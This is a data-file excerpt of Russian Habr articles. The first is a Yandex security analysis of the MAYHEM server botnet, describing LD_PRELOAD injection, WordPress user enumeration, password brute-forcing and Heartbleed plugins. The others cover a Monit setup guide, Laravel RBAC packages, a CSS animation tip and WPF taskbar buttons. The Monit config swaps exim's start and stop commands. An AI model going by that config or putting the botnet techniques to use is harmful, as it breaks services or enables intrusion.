text stringlengths 20 1.01M | url stringlengths 14 1.25k | dump stringlengths 9 15 ⌀ | lang stringclasses 4
values | source stringclasses 4
values |
|---|---|---|---|---|
# MAYHEM — многоцелевой бот для *NIX-серверов. Расследование Яндекс.Безопасности
**UPD**. *Спустя несколько часов после публикации на Хабре англоязычная версия этого исследования команды Безопасного поиска Яндекса [вышла на Virus Bulletin](https://www.virusbtn.com/virusbulletin/archive/2014/07/vb201407-Mayhem). Чуть больше деталей и ссылки на библиографию.*
Ботнеты из зараженных серверов под управлением ОС на базе \*nix становятся все более популярными у злоумышленников. Широкий канал, отличный uptime и мощное железо делают сервера привлекательной целью для заражения. Принято считать, что для полноценного заражения \*nix-системы нужно обладать правами root. Однако злоумышленники придумывают все новые и новые способы извлечения из зараженного сервера максимума пользы, довольствуясь при этом маленькими привилегиями. В этом посте мы расскажем о довольно нестандартном ботнете под названием MAYHEM, состоящем из зараженных серверов.
[](http://habrahabr.ru/company/yandex/blog/230167/)
Изначально MAYHEM представляет собой php-скрипт, который после запуска определяет архитектуру системы (x86 или x64) и наличие прав на запись в текущую директорию. Эти привилегии в подавляющем большинстве случаев есть у пользователя, под которым запущен веб-сервер, и в данном случае их достаточно для работы бота.

После php-скрипт убивает все запущенные под текущим пользователем процессы “/usr/bin/host”, извлекает из себя shared object для нужной архитектуры (x86 или x64) и запускает процесс “/usr/bin/host” с подгрузкой в него shared object при помощи техники LD\_PRELOAD.
Техника LD\_PRELOAD довольно хорошо описана. Она позволяет загрузить shared object в адресное пространство процесса раньше оригинального исполняемого файла. Также эта техника позволяет осуществлять подмену функций, например, стандартной библиотеки. Вкратце, если подгружаемый через LD\_PRELOAD объект экспортирует какую-то функцию, которая совпадает с функциями из других shared objects, то будет использоваться именно эта функция.
Таким образом, техника LD\_PRELOAD позволяет с легкостью перехватывать функции, чем и пользуются злоумышленники. В данном случае вредоносный объект перехватывает функцию “exit”.
После старта и получения управления вредоносный shared object удаляет переменную окружения LD\_PRELOAD и свое тело с диска, а затем производит еще несколько антиотладочных приемов. В результате на диске не остается практически никаких следов его присутствия.
Далее, если все в порядке, происходит расшифрование конфигурации, которая находится в сегменте данных этого объекта. Конфигурация шифруется при помощи алгоритма XTEA (32 раунда) в режиме ECB.

В конфигурации содержится всего три параметра: URL командного сервера (С&C), имя файла со скрытой файловой системой и размер скрытой файловой системы.
После первоначальной настройки бот определяет, создана ли уже скрытая файловая система. Если нет, он создает ее. Скрытая файловая система представляет собой образ диска с файловой системой FAT, каждый блок которой шифруется алгоритмом XTEA (32 раунда, режим ECB). Работа с FAT происходит при помощи open source библиотеки [FAT 16/32 File System Library](http://ultra-embedded.com/fat_filelib), а ключи шифрования вырабатываются из номера блока в файловой системе и зависят только от этого номера. Данная файловая система используется для хранения служебных файлов и плагинов бота.

Если файловая система успешно инициализирована или была создана ранее, бот переходит к своим основным функциям. Сначала он оповещает командный сервер (C&C) о начале работы и далее получает и выполняет его команды: скачивает нужный плагин и задания к нему, создает некоторое количество рабочих потоков и приступает к исполнению задания.
Как уже было сказано ранее, бот расширяет свою функциональность при помощи плагинов. В ходе исследования нам удалось обнаружить и проанализировать некоторые из них. Набор плагинов позволяет ботнету выполнять следующие задачи:
1. Поиск сайтов, уязвимых к Remote File Inclusion (RFI). На скриншоте показан кусочек списка, который используется для тестирования сайта.

2. Определение имен пользователей для сайтов на базе Wordpress CMS. Бот получает от командного сервера список сайтов под управлением Wordpress и в процессе работы получает для каждого такого сайта список зарегистрированных пользователей. Делается это при помощи запроса следующего вида: `<адрес сайта>/?author=`. ID пользователей перебираются в диапазоне от 1 до 5. В дальнейшем собранные данные используются для подбора паролей.
3. Поиск страниц авторизации для сайтов на Joomla и Wordpress. Бот получает от C&C список сайтов и в процессе работы пытается получить страницы /wp-login.php или /administration/. В случае успеха он возвращает командному серверу список сайтов, на которых данные страницы были найдены.
4. Перебор паролей к страницам авторизации CMS и ISP-панелей. Этот плагин настраивается при помощи гибкой системы правил и позволяет перебирать пароли для практически любых страниц авторизации. Пример настройки этого плагина можно увидеть на скриншоте ниже.

Для перебора злоумышленники используют словарь, состоящий из 17911 паролей с длинами от 1 до 32 символов. Облако из этих паролей служит заглавной картинкой к этому посту.
5. Поиск страниц с заданной тематикой. Плагин получает список сайтов, обходит их рекурсивно (глубина обхода задается в конфигурации) и собирает адреса страниц, которые удовлетворяют определенному набору правил. Пример такого набора правил представлен на скриншоте ниже.

6. Плагины для перебора паролей FTP-аккаунтов, плагины для обхода диапазонов IP-адресов, поиска phpMyAdmin и так далее.
7. Отдельно стоит остановиться на плагине для эксплуатации уязвимости HeartBleed. Несмотря на то, что многие системные администраторы уже обновили OpenSSL, в интернете все еще остается довольно большое количество уязвимых серверов.
Таким образом, модульная структура позволяет использовать ботнет для самых различных задач. Отдельно остановимся на C&C. В ходе исследований нам удалось обнаружить три различных командных сервера. Один из них уже не функционировал, а оставшиеся два использовались для управления более чем 1400 ботами.
Мы проанализировали наиболее крупный из двух командных серверов. Общий вид системы управления ботнетом выглядит так:

Под управлением этого сервера работало около 1100 ботов. Распределение зараженных серверов по странам можно посмотреть на карте ниже. Более темный тон означает большее количество зараженных серверов.

Таким образом, основную часть ботнета составляли сервера, расположенные в России, США, Германии и Канаде.
А вот так выглядит интерфейс, позволяющий дать задание всему ботнету или отдельным группам ботов:

В момент исследования данный ботнет занимался перебором паролей для административной части сайтов на базе Wordpress CMS. На картинках ниже показан прогресс выполнения задания и часть файла с подобранными паролями — отчета о проделанной работе.


Как видно, пользователи использовали слабые пароли неустойчивые к перебору.
Таким образом, для создания ботнета из зараженных серверов отнюдь не обязательно получать доступ к серверу с правами root. Злоумышленники постоянно выдумывают новые способы эффективного использования уязвимых сайтов и серверов. На сегодняшний день они уже готовы довольствоваться даже малыми привилегиями в системе. Учитывайте это при администрировании своих серверов и разработке веб-приложений, используйте стойкие к перебору пароли, регулярно обновляйте OpenSSL и следите за безопасностью своих веб-приложений.
Берегите своих пользователей и свои веб-серверы. | https://habr.com/ru/post/230167/ | null | ru | null |
# MonIT + M\MonIT = простой и бесплатный мониторинг нескольких серверов
Возникла задача мониторинга нескольких серверов, находящихся в разных ДЦ, имеющих разные ОС и ПО.
ТЗ получилось примерно такое:
1. Мониторинг системы (cpu, mem, load average, bandwidth).
2. Мониторинг состояния сервисов (запущен или нет).
3. Мониторинг функционирования сервисом (отвечает на запросы корректно или нет).
4. Контроль потребляемых сервисами ресурсов и общего их состояния.
5. Централизованая «админка» для всей этой радости.
6. Уведомление по email, самостоятельное исправление проблемы (например рестарт упавшей службы).
#### Поиск решения.
В процессе изучения возможных вариантов были найдены 5 вариантов:
* Nagios
* Whats UP
* Zabbix
* Monit
* Написание собственных скриптов
Первый и третий варианты были отброшены как слишком сложные в настройке и имеющие заведомо не нужный (хотя и огромный) функционал. Второй отброшен из-за феерической (995$) цены и требования сервера с MS Windows. В итоге я решил остановиться на Monit.
#### Что такое Monit?
[Monit](http://mmonit.com/monit/) — бесплатное приложение с открытым исходным кодом, обеспечивающее комплексный мониторинг UNIX-like систем, как то:
* Состояние серверов (доступность, потребление ресурсов).
* Мониторинг демонов (состояние, потребляемые ресурсы, количество child-process и многое другое).
* Мониторинг сетевых сервисов (возможность подключения и корректность ответа).
* Выполнение встроенных (запуск\остановка\перезапуск) или собственных (скрипты) действий при достижении определенных событий.
* Уведомление на email или в централизованный web-интерфейс M\Monit.
Основным приемуществами программы являются низкое потребление ресурсов, простота конфигурации (настройка 15-20 минут) и открытый исходный код.
Поддерживаются ОС GNU\Linux (есть в большинстве пакетных систем), FreeBSD (есть в портах), OpenBSD, Solaris, **MacOS X**. Windows в качестве сервера **НЕ** поддерживается, но мониторить сетевые сервисы расположенные на удаленной windows-машине это не мешает.
Архитектуры — x86, x86\_64, PowerPC (Mac only), Sparc (Sun only).
#### Установка и базовая настройка.
Пакет есть для большинства дистрибутивов (Gentoo, Debian, FreeBSD — в основном дереве, CentOS, Fedora, RedHat — в репозитории **dag**). Пакет так и называется — **monit**.
Основной конфигурационный файл — /etc/monit.conf (в Linux) или /usr/local/etc/monitrc (в FreeBSD). В FreeBSD этот файл нужно создать:
`# mv /usr/local/etc/monitrc.sample /usr/local/etc/monitrc`
После чего нам нужно раскомментировать в конфигурационном файле строку:
`include /etc/monit.d/*`
Теперь все файлы конфигурации из /etc/monit.d/ будут автоматически подхватыватся monit-ом.
Я разбил свою конфигурацию на два файла (для удобства) — **main.conf** (общие настройки) и **master.conf** (настройки мониторинга сервисов).
##### main.conf
Для тех, кому лень читать комментарии на английском привожу его **пример** и перевод части комментариев.
`set daemon 120 # Частота проверки сервисов.
set logfile syslog facility log_daemon # syslogd facility.
set mailserver localhost, # IP\hostname почтового сервера, через который пойдут уведомления.
set eventqueue # Разрешить очередь уведомлений.
basedir /var/log/monit # путь к каталогу, где будут храниться уведомления.
slots 100 # Максимальное количество уведомлений в очереди.
set mail-format { from: main-servers-alert@example.com } # От какого имени рассылать уведомления.
set alert admin@example.com #Ящик для _всех_ уведомлений (много).
set alert support@example.com { timeout } # Ящик для критических уведомлений (падение сервера\демонов).
check system *CHANGEME.HOSTNAME.EXAMPLE.COM* # Хостнейм сервера.
if loadavg (1min) > 6 then alert
if loadavg (5min) > 3 then alert
if memory usage > 75% then alert
if cpu usage (user) > 70% then alert
if cpu usage (system) > 30% then alert
if cpu usage (wait) > 20% then alert`
Как видно, конфиг крайне прост и понятен.
##### master.conf
**master.conf** — в моем случае отвечает за мониторинг конкретных демонов.
Опять же привожу его пример (слепо копипастить \_не\_нужно\_). Показываю на примере почтовика **exim**, по этой логике пишется такой блок под каждый демон, который нужно мониторить:
`check process exim with pidfile /var/run/exim.pid # Название и PID.
start program = "/etc/init.d/exim stop" # Команда запуска.
stop program = "/etc/init.d/exim start" # Команда остановки.
if cpu > 60% for 2 cycles then alert # Если в течение двух циклов потребление CPU > 60% - уведомить.
if cpu > 80% for 5 cycles then restart # А если за 5 циклов больше 80% - перезапустить.
if totalmem > 300.0 MB for 5 cycles then restart # Если потребление памяти > 300мб - рестарт.
if children > 50 then restart # Если больше 50 чайлдов - рестарт.
if failed port 25 protocol smtp then restart # Если не отвечает на 25 порту по SMTP - рестарт.
if 5 restarts within 5 cycles then timeout # Если пять раз рестартовали и не помогло - timeout.`
#### M\Monit
[M\Monit](http://www.mmonit.com/) — средство централизованного мониторинга серверов под управлением **monit**.
Сама программа платная, но пользоваться ей можно и бесплатно — на сайте выложена Free-версия, хотя и с определенными ограничениями.
##### Установка и базовая настройка.
[Качаем](http://mmonit.com/download/) версию для своей ОС и архитектуры, распаковываем архив.
Устанавливаем:
`# mv mmonit-2.0.3 /usr/local/mmonit
# cd /usr/local/mmonit
# cp /usr/local/mmonit/doc/startup/mmonit_init /etc/init.d/mmonit`
Создаем базу данных MySQL (также поддерживаются PgSQL и SQLite), вносим содержимое:
``# cat /usr/local/mmonit/db/mmonit-schema.mysql | mysql -u -p monit
Редактируем **/usr/local/mmonit/conf/server.xml**. Формат конфига - XML. Для нас там интересен только один блок:
minConnections="5"
maxConnections="250"
reapConnections="300" />`
Можно запускать:
`# /etc/init.d/mmonit start`
Если запустилось нормально - заходим на [localhost](http://localhost):8080. Логин admin, пароль swordfish
Теперь осталось настроить клиенты.
##### Связывание monit с m\monit
Для связывания клиента и центра управления, нужно в main.conf каждого сервера вписать:
`set mmonit monit:monit@:8080/collector
set httpd port 2812 and use address allow localhost
allow allow monit:monit
После чего перезапустить мониторинг.
Осталось только зайти в админку и зарегистрировать появившиеся там серверы. Мониторинг готов. Мы сможем контролировать нагрузку на все серверы, работающих демонов и системные события.`` | https://habr.com/ru/post/60078/ | null | ru | null |
# Как разделить роли в проекте на Laravel: обзорное сравнение RBAC-пакетов
При разработке веб-проекта, в котором есть учетные записи пользователей, зачастую встает вопрос об организации системы ролей и прав для разграничения доступов к тем или иным разделам и функциям системы. В этой статье мы сравним пакеты для управления доступом и подведем итоги в таблице.

Введение
--------
В версии 5.1 Laravel представил Auth Gates — встроенную функцию фреймворка для разграничения доступа. До этого времени приходилось пользоваться различными сторонними пакетами. Однако даже сейчас перед программистом встает выбор: писать все самому или же использовать какой-либо готовый пакет. Первый вариант хорошо подходит для небольших проектов либо проектов с несложной системой прав и ролей. Второй же (при верном выборе пакета) позволяет проводить более тонкую настройку.
Цель данной статьи — обзор существующих пакетов, реализующих RBAC (Role Based Access Control) — управление доступом на основе ролей. Сразу уточним, что на истину в последней инстанции эта статья не претендует: каждый разработчик сам должен определять, какой пакет ему нужен (если он вообще нужен). Примечание: в статье мы рассматриваем именно RBAC, поэтому в обзоре Sentinel затрагиваем только эту часть доступных функций.
Описание пакетов
----------------
### Laravel-permission by Spatie
**Ссылка:** <https://github.com/spatie/laravel-permission>
**Документация:** <https://docs.spatie.be/laravel-permission/v3>
**Количество загрузок (на момент написания статьи):** 3.6М
**Версия Laravel:** от 5.8 для версии 3
**Наличие интерфейса:** нет (можно использовать [пакет](https://github.com/LaravelDaily/laravel-roles-permissions-manager))
**Основан на Laravel Auth:** да
**Особенности**
1. Наличие artisan-команд по созданию/присвоению прав.
2. Готовые scope по ролям и правам.
3. Возможность проверять права пользователя с помощью стандартных средств за счет того, что пакет использует Laravel Auth Gates.
4. Возможность использовать blade directives пакета: [role](https://habr.com/ru/users/role/) (@hasrole), @hasanyrole, @hasallroles, @unlessrole.
5. Синхронизация прав и ролей.
**Замечание:** при вызове authorize() для policy в случае, если permission имеет такое же имя, как и policy, то сработает оно, а не policy.
**Структура БД**

**Примеры кода**
```
// Выдача прав пользователю
$user->givePermissionTo('edit articles');
// Присвоение пользователю ролей
$user->assignRole('writer', 'admin');
// Это можно сделать в виде массива
$user->assignRole(['writer', 'admin']);
// Выдача прав роли
$role->givePermissionTo('edit articles');
```
### Bouncer by Joseph Silber
**Ссылка:** <https://github.com/JosephSilber/bouncer>
**Документация:** <https://github.com/JosephSilber/bouncer#introduction>
**Количество загрузок (на момент написания статьи):** 418К
**Версия Laravel:** от 5.1.20
**Наличие интерфейса:** нет (можно использовать [пакет](https://github.com/LaravelDaily/laravel-roles-permissions-bouncer))
**Основан на Laravel Auth:** да
**Особенности**
1. Возможность использовать без Laravel.
2. Синхронизация прав и ролей.
3. Возможность накладывать ограничения на права (по определенному классу модели либо по определенному инстансу.
4. Выдача всех прав для “своих” сущностей: с помощью функции “toOwn” можно выдать все права на сущность, которая принадлежит пользователю (сравнение поля user\_id и $user->id, можно кастомизировать). Можно ограничить выданные права с помощью функции “to”.
5. Поддержка Multitenancy (на основе функции “scope”).
6. Возможность с помощью функции “scope” разделять роли и права в зависимости от установленных условий (на основе уникального идентификатора) — например, права в админке и публичной части сайта.
7. Консольная artisan команда для очистки БД от неиспользуемых permission.
8. Возможность быстро забанить пользователя или снять бан (forbidden ability).
**Примечание:** создать роль и права для нее можно всего одной строчкой.
**Структура БД**

**Примеры кода**
**Ограничение права по классу модели или инстансу:**
```
Bouncer::allow($user)->to('edit', Post::class);
Bouncer::allow($user)->to('edit', $post);
```
**Выдача прав для “своих” сущностей:**
```
Bouncer::allow($user)->toOwn(Post::class)->to(['view', 'update']);
```
### Laratrust by Santigarcor
**Ссылка:** <https://github.com/santigarcor/laratrust>
**Документация:** <https://laratrust.santigarcor.me/>
**Количество загрузок (на момент написания статьи):** 601K
**Версия Laravel:** ~6.0
**Наличие интерфейса:** нет
**Основан на Laravel Auth:** нет
**Особенности**
1. Это [форк](https://ru.wikipedia.org/wiki/%D0%A4%D0%BE%D1%80%D0%BA) ENTRUST (<https://github.com/Zizaco/entrust>).
2. Есть свои blade directives.
3. Из-за замены стандартных команд Laravel своими невозможно работать с blade directive [can](https://habr.com/ru/users/can/) — придется использовать $user->can(‘edit-user’) либо директиву пакета [permission](https://habr.com/ru/users/permission/).
4. Синхронизация ролей/прав.
5. Наличие ability — одновременная проверка на роли и права.
6. Готовый middleware.
7. Multitenancy на основе teams.
**Структура БД**

**Примеры кода**
```
Проверка наличия прав
$user->hasRole(['owner', 'admin']);
$user->can(['edit-user', 'create-post']);
$user->hasRole('owner|admin');
$user->can('edit-user|create-post');
Проверка принадлежности
$user->owns($post) // Проверка по $post->user_id
Создание роли
$owner = new Role();
$owner->name = 'owner';
$owner->display_name = 'Project Owner'; // optional
$owner->description = 'User is the owner of a given project'; // optional
$owner->save();
```
### Sentinel by Cartalyst
**Ссылка:** <https://github.com/cartalyst/sentinel>
**Документация:** <https://cartalyst.com/manual/sentinel/3.x>
**Количество загрузок (на момент написания статьи):** 957K
**Версия Laravel:** 6.2
**Наличие интерфейса:** нет
**Основан на Laravel Auth:** нет
**Особенности**
1. Включает в себя не только роли и права, но и все, связанное с регистрацией.
2. Пакет является framework agnostic, т.е. его можно использовать не только в Laravel — нужно просто установить следующие зависимости с помощью composer: illuminate/database, illuminate/events, symfony/http-foundation.
3. С помощью аддона Sentinel Expired-Permissions можно выдавать права на время.
4. Поддерживает Multitenancy с помощью аддона Sentinel Multitenancy.
**Примечание:** при установке на чистый Laravel 6.2 и PostgreSQL при миграции появляется ошибка: таблица users уже существует. В этом случае приходится менять стандартную миграцию:

**Структура БД**

**Примеры кода**
```
// Присвоение роли
$user = Sentinel::findById(1);
$role = Sentinel::findRoleByName('Subscribers');
$role->users()->attach($user);
// Проверка роли
$admin = Sentinel::inRole('admin');
// Выдача прав
$user->permissions = [
'user.create' => true,
'user.delete' => false,
];
$user->save();
// Проверка прав
$user->hasAccess(['user.create', 'user.update']);
Sentinel::hasAnyAccess(['user.admin', 'user.update']);
```
### Laravel-ACL by Kodeine
**Ссылка:** <https://github.com/kodeine/laravel-acl>
**Документация:** <https://github.com/kodeine/laravel-acl/wiki>
**Количество загрузок (на момент написания статьи):** 170K
**Версия Laravel:** 5.0 и выше
**Наличие интерфейса:** нет
**Основан на Laravel Auth:** нет
**Особенности**
1. Синхронизация ролей и прав.
2. Наследование прав.
3. Наличие своих blade directives: [role](https://habr.com/ru/users/role/), [permission](https://habr.com/ru/users/permission/).
4. Наличие готового middleware.
**Примечание.** Некоторые проблемы и решения при миграции:
* В файле config/acl нужно добавить опцию users\_table с именем таблицы пользователей для обеспечения стабильности миграции.
* Нужно установить пакет «doctrine/dbal» на чистом Laravel, чтобы “подружить” его со стандартными миграциями, иначе возможна ошибка при обновлении полей.
**Структура БД**

**Примеры кода**
```
// Наследование прав
$permissionInternship = Permission::create([
'name' => 'internships',
'slug' => [ // массив прав
'create' => true,
'view' => true,
'update' => true,
'delete' => true,
],
'description' => 'manage internships'
]);
$permissionStudent = Permission::create([
'name' => 'internships.student',
'slug' => [ //массив прав только для студента
'create' => false,
],
// само наследование
'inherit_id' => $permissionInternship->getKey(),
'description' => 'student internship permissions'
]);
```
### Laravel-acl by Mateus Junges
**Ссылка:** <https://github.com/mateusjunges/laravel-acl>
**Документация:** <https://mateusjunges.github.io/laravel-acl/>
**Количество загрузок (на момент написания статьи):** 1.8K
**Версия Laravel:** 5.0 и выше
**Наличие интерфейса:** да (готовые формы)
**Основан на Laravel Auth:** нет
**Особенности**
1. Готовые scope.
2. Синхронизация прав для групп.
3. Наличие своих blade directives: [group](https://habr.com/ru/users/group/), @elsegroup, [permission](https://habr.com/ru/users/permission/), @elsepermission, @allpermission,@allgroups, @anypermission, @anygroup
4. Наличие встроенных команд для artisan по созданию групп/прав и их отображению, а также отображению прав пользователя.
5. Наличие готового middleware: PermissionMiddleware, GroupMiddleware, HierarchicalPermissions, PermissionOrGroupMiddleware.
6. Наличие готовых форм для управления ролями.
**Структура БД**

Сводная таблица
---------------
[](https://habrastorage.org/webt/ay/n3/v2/ayn3v2opfwm4lzzjyrabpvyyge4.png)
Заключение
----------
Каждый из перечисленных пакетов имеет свою область применения, поэтому выбрать единственного победителя невозможно. По нашим оценкам, для сложной системы ролей больше всего подходят Laravel-permission и Bouncer, но в то же время есть Laravel-ACL by Kodeine с иерархией ролей. Laravel-ACL by Mateus Junges является “свежим” вариантом и обладает достаточной функциональностью для построения умеренного набора ролей. Sentinel – универсальное решение с кучей фич, помимо управления ролями. Laratrust подойдет тем, кому нравится Entrust.
Также нельзя не упомянуть стандартные средства Laravel – Gates and Policies. Они позволяют легко разграничивать доступ к ресурсам в приложениях, не требующих сложной настройки прав. Если в приложении всего несколько ролей или иерархия не нужна, то ваши потребности можно закрыть с помощью Gates and Policies.
#### Полезные ссылки
* [habr.com/ru/post/321678](https://habr.com/ru/post/321678/) — для “маленьких” проектов
* [laravel-news.com/two-best-roles-permissions-packages](https://laravel-news.com/two-best-roles-permissions-packages) — сравнение Bouncer и Laravel-permission | https://habr.com/ru/post/481796/ | null | ru | null |
# Анимация аккордеона и свойства height (max-height) в чистом CSS
Всем привет, недавно я изучил формы и анимации, после чего мне пришлось очень долго промучаться с анимацией Аккордеона и свойства max-height не прибегая к помощи Js в вычислениях, и сейчас я поделюсь с вами оптимальным решением.
Код на Codepen <https://codepen.io/webfrontden/pen/poaOPER>
*P.S.: Java-sctipt использовался только для воздействия на класс (смены класса) , что можно сделать и с помощью псевдо классов css, например: Active.*
```
document.getElementById("discount-entry__title-1").onclick = function () {
document
.getElementById("drop-up-body-discount-entry")
.classList.toggle("drop-up-body_state_toggled");
document
.getElementById("discount-entry__title-1")
.classList.toggle("title-summary_toggled");
};
document.getElementById("shipping-tax__title-1").onclick = function () {
document
.getElementById("drop-up-body-shipping-tax")
.classList.toggle("drop-up-body_state_toggled");
document
.getElementById("shipping-tax__title-1")
.classList.toggle("title-summary_toggled");
document
.getElementById("shipping-tax-1")
.classList.toggle("shipping-tax_mb_disabled");
};
// Код js
```
Было перепробовано несколько вариантов с использованием отрицательного margin-top, position: absolute и transform: translate. Но во всех вариантах, **обязательно**, что бы контент не было видно за рамками родительского блока, **добавьте его контейнеру свойство oveflow:hidden.**
Код CssКод HtmlИтак, **Margin-top** недостаточно надежен т.к берет процентный отступ, от ширины родителя, а не его высоты. Заказчик рано или поздно может захотеть изменить блок, и в лучшем случае список будет просто быстрее заезжать наверх, из-за увеличения ширины блока, и соответственно отступа наверх, а в худшем не будет скрываться полностью, если высота станет слишком большой, а ширина не изменится. Анимация выглядит также, как и анимация через max-height, которую можно увидеть ниже
**Transform: translate;** адаптивен и плавно анимируется, но оставляет под собой пространство, которое нужно как-то убирать. Его можно убрать с помощью анимации, в конце которой, блок становиться абсолютно позиционированным и его становиться не видно т.к для родителя задан overflow:hidden;
```
/* При обычном состоянии */
.drop-up-body {
transition: transform 1s;
transform: translate(0, 0px);
margin-top: 0;
}
/* При нажатии на кнопку */
.drop-up-body_state_toggled {
transition: transform 1s;
transform: translate(0, -110%);
animation: position_hidden 0.00000000000000000001s 1s forwards;
}
@keyframes position_hidden {
0% {
position: static;
}
99% {
position: static;
}
100% {
position: absolute;
top: -100%;
}
}
```
Transform: translate; без анимации с position absoluteTransform: translate; с анимацией position absoluteОптимальным вариантом будет свойство **max-height,** оно куда надежнее фиксированной высоты, и может подстраиваться под меньшее количество контента. Но и оно отказывалось работать до последнего, т.к я указывал начальное значение **в процентах или оставлял max-height: auto - анимация не работала**. Как оказалось **при указании высоты в пикселях, все начинает работать.** Значение в пикселях следует указывать с запасом как минимум в 2 раза, что добавит надежности вёрстке, так как если заказчик захочет изменить сайт и добавит контента в блок, что увеличит его высоту, у нас еще будет запас по max-height.
Единственное, что вам стоит уяснить, анимируется не текущее значение высоты блока, а разность высот между max-height в начале и после анимации. В моем случае значение max-height - 3000px, а высота контента примерно 550px. Таким образом, при сворачивании этого списка анимация начнется с задержкой, а именно, тогда когда анимация дойдет до значения высоты блока (в моем случае около 550px), т.к как сначала max-height снизится до этого числа, но блок не измениться, ведь его высота меньше max-height, а уже затем когда высота max-height, станет меньше высоты блока, блок начнет уменьшаться. При разворачивании max-height растет от нуля и изменения видны мгновенно.
Update: Если указать функцию анимации cubic-bezier(0, 1, 0, 1) к свойству transition: max-height 0.5s; Анимация будет плавной почти всегда . Это происходит потому что видимой анимации подвергаются только ее начало и конец, а остальное время анимация происходит чуть ли не мгновенно. Так в нашем случае невидимая часть блока с 3000 до 550px проанимируется очень быстро, а уже затем, пойдет видимая пользователю анимация (за совет спасибо @CyberGenius)
 ")Визуализация работы функции анимации cubic-bezier(0, 1, 0, 1) ")Анимация через max-height (Плавность регулируется через transition-duration)Я надеюсь, что мне удалось вам помочь!
Вот ссылка на Codepen еще раз <https://codepen.io/webfrontden/pen/poaOPER>
Если у вас остались вопросы, критика или комментарии - обязательно напишите мне, я с радостью отвечу вам.
А сейчас я прощаюсь и желаю вам хорошего дня!
*Денис* | https://habr.com/ru/post/669310/ | null | ru | null |
# WPF4 и Taskbar в Windows 7: Кнопки предпросмотра(Thumbnail buttons)
У панели задач Windows 7 есть много способов для приложений предоставлять уникальную информацию чтобы сделать UX ещё круче. Одна из них рассматривается в этой статье — кнопки панели предсмотра на таскбаре.
Существует вероятность что вы уже используете несколько приложений использующих эту функциональность. Вот скриншот приложения Zune с 4мя кнопками предпросмотра.
[](http://www.irritatedvowel.com/pub/blog/4f8b2ad664db_CCA5/image.png)
А вот как приложение выглядит с одной из кнопок при наведении мышки:
[](http://www.irritatedvowel.com/pub/blog/4f8b2ad664db_CCA5/image_3.png)
Вот ещё один пример. На этот раз это Fishbowl(клиент для Facebook)
[](http://www.irritatedvowel.com/pub/blog/4f8b2ad664db_CCA5/image_4.png)
Давайте посмотрим как реализовать кнопки предпросмотра в нашем собственном WPF4 приложении.
**Project Setup**
Создайте стандартное клиентскоп WPF-приложение. В моём примере я назвал его WpfTaskbarThumbnailButtons. Как только вы это сделали — откройте XAML для главного окна(это то, где мы проведем большую часть времени). Добавьте секцию ресурсов и обычную TaskbarItemInfo, как мы сделали в предыдущих постах.
> `<Window x:Class="WpfTaskbarThumbnailButtons.MainWindow"
>
> xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"
>
> xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"
>
> Title="Thumbnail Button Application" Height="350" Width="525">
>
> <Window.Resources>
>
> Window.Resources>
>
>
>
> <Window.TaskbarItemInfo>
>
> Window.TaskbarItemInfo>
>
>
>
> <Grid>
>
> Grid>
>
> Window>
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Следующим шагом будет создание ресурсов для изображений наших кнопок
**Button Images**
Как только вы решили какие кнопки вы хотите — настает время создать графику для них. Стандарт для таскбара Windows 7 это 16х16 пикселей(24х24 для высоких DPI), обычного в чернобелой схеме. Если вы создадите изображения большего размера — они будут уменьшены до подходящего размера, так что если вы ленивы(особенно если у вас векторная графика) — можно не уменьшать вручную.
Для этого примера я собираюсь создать три кнопки, каждая с простым скругленным квадратом, разных цветов.
> `<Window.Resources>
>
> <DrawingImage x:Key="Button1Image">
>
> <DrawingImage.Drawing>
>
> <DrawingGroup>
>
> <DrawingGroup.Children>
>
> <GeometryDrawing Brush="Red">
>
> <GeometryDrawing.Geometry>
>
> <RectangleGeometry Rect="0 0 24 24"
>
> RadiusX="4"
>
> RadiusY="4" />
>
> GeometryDrawing.Geometry>
>
> GeometryDrawing>
>
> DrawingGroup.Children>
>
> DrawingGroup>
>
> DrawingImage.Drawing>
>
> DrawingImage>
>
> <DrawingImage x:Key="Button2Image">
>
> <DrawingImage.Drawing>
>
> <DrawingGroup>
>
> <DrawingGroup.Children>
>
> <GeometryDrawing Brush="Green">
>
> <GeometryDrawing.Geometry>
>
> <RectangleGeometry Rect="0 0 24 24"
>
> RadiusX="4"
>
> RadiusY="4" />
>
> GeometryDrawing.Geometry>
>
> GeometryDrawing>
>
> DrawingGroup.Children>
>
> DrawingGroup>
>
> DrawingImage.Drawing>
>
> DrawingImage>
>
> <DrawingImage x:Key="Button3Image">
>
> <DrawingImage.Drawing>
>
> <DrawingGroup>
>
> <DrawingGroup.Children>
>
> <GeometryDrawing Brush="Blue">
>
> <GeometryDrawing.Geometry>
>
> <RectangleGeometry Rect="0 0 24 24"
>
> RadiusX="4"
>
> RadiusY="4" />
>
> GeometryDrawing.Geometry>
>
> GeometryDrawing>
>
> DrawingGroup.Children>
>
> DrawingGroup>
>
> DrawingImage.Drawing>
>
> DrawingImage>
>
> Window.Resources>
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Я использовал здесь векторную графика, но, как я упоминал в своей статье о перекрывающих иконках на таскбаре(overlay icon), вы можете так же использовать растровую графику.
Следующий шаг — собственно добавление трех кнопок на таскбар. Это делается через коллекцию ThumButtonInfos классов TaskbarItemInfo.
**TaskbarItemInfo.ThumbButtonInfos**
Как только вы определились какие кнопки вы хотите на панеле предсмотра вашего приложения(у вас есть место для максимум 7 кнопок в Windows 7), и у вас есть изображения для них — вы можете создать их в коде или, как я люблю, в XAML-е. Кнопки являются экземплярами класса TaskbarItemInfo и добавляются в коллекцию ThumbButtonInfos.
Вот свойство окна TaskbarItemInfo с нашими тремя простыми кнопками. Заметьте что всё что я определил для них — это картинка и описание(подсказка)
> `<Window.TaskbarItemInfo>
>
> <TaskbarItemInfo>
>
> <TaskbarItemInfo.ThumbButtonInfos>
>
> <ThumbButtonInfo ImageSource="{StaticResource Button1Image}"
>
> Description="Button 1" />
>
> <ThumbButtonInfo ImageSource="{StaticResource Button2Image}"
>
> Description="Button 2" />
>
> <ThumbButtonInfo ImageSource="{StaticResource Button3Image}"
>
> Description="Button 3" />
>
> TaskbarItemInfo.ThumbButtonInfos>
>
> TaskbarItemInfo>
>
> Window.TaskbarItemInfo>
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
И вот скриншот результата. Заметьте что порядок кнопок такой же в каком они добавлены в коллекцию. Слева направа — от первого к последнему.
[](http://www.irritatedvowel.com/pub/blog/4f8b2ad664db_CCA5/image_5.png)
**ThumbButtonInfo Class**
